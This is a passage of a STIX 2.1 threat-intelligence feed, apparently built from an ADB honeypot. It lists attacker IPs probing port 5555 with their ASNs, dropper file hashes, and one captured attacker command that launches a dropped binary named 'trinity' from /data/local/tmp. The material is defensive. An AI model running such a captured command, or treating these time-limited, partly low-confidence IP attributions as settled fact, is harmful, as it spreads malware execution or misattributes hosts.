          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 58,
          "first_seen": "2026-03-28T21:17:36.000Z",
          "last_seen": "2026-03-28T21:31:21.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T22:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bc5e4f1197ea957d1958b59f2709e91026418a5b340e300e55a062144aa87557.raw; last_seen=2026-03-28T21:03:09.071Z",
      "id": "indicator--c00d390c-65c8-4e46-8bdc-dfe6b735ec04",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bc5e4f1197ea957d1958b59f2709e91026418a5b340e300e55a062144aa87557']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T22:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=58; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=58 | first_seen=2026-03-28T21:17:36.000Z | last_seen=2026-03-28T21:31:21.478Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--ebe2b1e6-daa7-42ad-a1f7-f1fd44ee4adc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.142.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:00:04.000Z",
      "valid_until": "2026-04-29T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 58,
          "first_seen": "2026-03-28T21:17:36.000Z",
          "last_seen": "2026-03-28T21:31:21.478Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T22:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bc5e4f1197ea957d1958b59f2709e91026418a5b340e300e55a062144aa87557.raw; last_seen=2026-03-28T21:03:09.071Z",
      "id": "indicator--c00d390c-65c8-4e46-8bdc-dfe6b735ec04",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bc5e4f1197ea957d1958b59f2709e91026418a5b340e300e55a062144aa87557']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T22:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-29T00:47:28.000Z | last_seen=2026-03-29T00:59:07.006Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:00:03.000Z",
      "valid_until": "2026-04-30T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-29T00:47:28.000Z",
          "last_seen": "2026-03-29T00:59:07.006Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-29T00:47:28.000Z | last_seen=2026-03-29T00:59:07.006Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T01:00:04.000Z",
      "valid_until": "2026-04-30T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-29T00:47:28.000Z",
          "last_seen": "2026-03-29T00:59:07.006Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=JP; asn=17506; asn_org=ARTERIA Networks Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T01:44:33.000Z | last_seen=2026-03-29T01:59:00.529Z | ports=5555 | cc=JP | asn=17506 | org=ARTERIA Networks Corporation",
      "id": "indicator--14d6a032-c263-48da-8046-98e1649f44cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '43.233.248.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:00:03.000Z",
      "valid_until": "2026-04-30T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T01:44:33.000Z",
          "last_seen": "2026-03-29T01:59:00.529Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "17506"
          ],
          "org": [
            "ARTERIA Networks Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T01:35:24.000Z | last_seen=2026-03-29T01:48:30.467Z | ports=5555 | cc=NL | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:00:03.000Z",
      "valid_until": "2026-04-30T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-29T01:35:24.000Z",
          "last_seen": "2026-03-29T01:48:30.467Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=JP; asn=17506; asn_org=ARTERIA Networks Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T01:44:33.000Z | last_seen=2026-03-29T01:59:00.529Z | ports=5555 | cc=JP | asn=17506 | org=ARTERIA Networks Corporation",
      "id": "indicator--14d6a032-c263-48da-8046-98e1649f44cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '43.233.248.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:00:04.000Z",
      "valid_until": "2026-04-30T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T01:44:33.000Z",
          "last_seen": "2026-03-29T01:59:00.529Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "17506"
          ],
          "org": [
            "ARTERIA Networks Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T01:35:24.000Z | last_seen=2026-03-29T01:48:30.467Z | ports=5555 | cc=NL | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:00:04.000Z",
      "valid_until": "2026-04-30T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-29T01:35:24.000Z",
          "last_seen": "2026-03-29T01:48:30.467Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-29T03:08:43.000Z | last_seen=2026-03-29T03:09:48.841Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8ad64cf7-178b-4cb7-94d7-a59420cf3e15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:00:05.000Z",
      "valid_until": "2026-04-30T04:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-29T03:08:43.000Z",
          "last_seen": "2026-03-29T03:09:48.841Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-29T03:08:43.000Z | last_seen=2026-03-29T03:09:48.841Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8ad64cf7-178b-4cb7-94d7-a59420cf3e15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:00:05.000Z",
      "valid_until": "2026-04-30T04:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-29T03:08:43.000Z",
          "last_seen": "2026-03-29T03:09:48.841Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T04:18:36.000Z | last_seen=2026-03-29T04:30:21.808Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--866d5f3a-9307-4991-bab4-cafa2a1466ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.237.209.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:03.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T04:18:36.000Z",
          "last_seen": "2026-03-29T04:30:21.808Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T04:09:55.000Z | last_seen=2026-03-29T04:20:06.605Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:03.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-29T04:09:55.000Z",
          "last_seen": "2026-03-29T04:20:06.605Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T04:04:13.000Z | last_seen=2026-03-29T04:05:48.296Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:03.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T04:04:13.000Z",
          "last_seen": "2026-03-29T04:05:48.296Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T04:18:36.000Z | last_seen=2026-03-29T04:30:21.808Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--866d5f3a-9307-4991-bab4-cafa2a1466ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.237.209.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:04.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T04:18:36.000Z",
          "last_seen": "2026-03-29T04:30:21.808Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T04:09:55.000Z | last_seen=2026-03-29T04:20:06.605Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.138.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:04.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
